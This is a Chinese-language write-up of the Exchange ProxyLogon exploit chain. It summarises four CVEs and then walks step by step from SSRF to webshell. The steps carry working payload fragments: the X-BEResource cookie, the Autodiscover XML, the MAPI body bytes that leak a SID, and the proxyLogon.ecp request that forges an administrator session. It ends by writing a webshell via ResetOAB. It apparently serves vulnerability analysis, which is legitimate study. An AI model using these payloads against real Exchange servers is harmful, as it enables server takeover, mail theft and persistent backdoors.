Exchange ProxyLogon RCE

参考:

漏洞详情:

CVE-2021-26855Exchange中的一个服务器端请求伪造(SSRF)漏洞,它使攻击者能够发送任意HTTP请求并通过Exchange Server进行身份验证。

CVE-2021-26857是统一消息服务中的不安全的反序列化漏洞。不安全的反序列化是不可信的用户可控制数据被程序反序列化的地方。利用此漏洞,HAFNIUM可以在Exchange服务器上以SYSTEM身份运行代码。这需要管理员权限或要利用的另一个漏洞。

CVE-2021-26858是Exchange中身份验证后的任意文件写入漏洞。如果HAFNIUM可以通过Exchange服务器进行身份验证,则他们可以使用此漏洞将文件写入服务器上的任何路径。他们可以通过利用CVE-2021-26855 SSRF漏洞或通过破坏合法管理员的凭据来进行身份验证。

CVE-2021-27065是Exchange中身份验证后的任意文件写入漏洞。如果HAFNIUM可以通过Exchange服务器进行身份验证,则他们可以使用此漏洞将文件写入服务器上的任何路径。他们可以通过利用CVE-2021-26855 SSRF漏洞或通过破坏合法管理员的凭据来进行身份验证。

利用过程:

  1. 获取LegacyDN。利用CVE-2021-26855 ssrf攻击。

    使用/Autodiscover/autodiscover.xml入口点来检索请求的输入主体

    payload:

    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN
    
    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
  2. 获取SID,并置换成管理员SID。

    使用入口点:/autodiscover/autodiscover.xml和/ mapi / emsmdb

    发生错误时,入口点/ mapi处的功能部件将返回SID

    mapi_body = legacyDn + \
        "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
  3. 获取Session id和msExchEcpCanary。CVE-2021-26855

    使用入口点:/ecp/proxyLogon.ecp获取Session ID和Canary

    payload:

    proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
    """ % sid
  4. 利用CVE-2021–27065写入webshell

    攻击者使用Exchange管理中心中的ResetOAB功能来写入文件。

细节分析:

  1. 请求/ecp/x.js,请求/ecp下以.js、.css结尾的静态资源,会交由BEResourceRequestHandler处理,确定类是否可以处理请求是基于方法BEResourceRequestHandler.CanHandle(),使用GetBEResouceCookie()方法检查特殊cookie的存在,此方法获取并返回X-BEResource的值。

    然后BEResourceRequestHandler.IsResourceRequest()将检查请求URL是否以资源文件结尾,最后值X-BEResource将继续传递到BackEndServer.FromString(),以确定此请求的后端服务器。

    为了满足上述条件,X-BEResource需要具备下面的形式

    X-BEResource = EXCHANGE2016〜1942062522

名词解释:

  • LegacyDN:Exchange Server 2013开始引入,使用邮箱的专有名称标识邮箱
  • FQDN:标识内部Exchange服务器的完全限定域名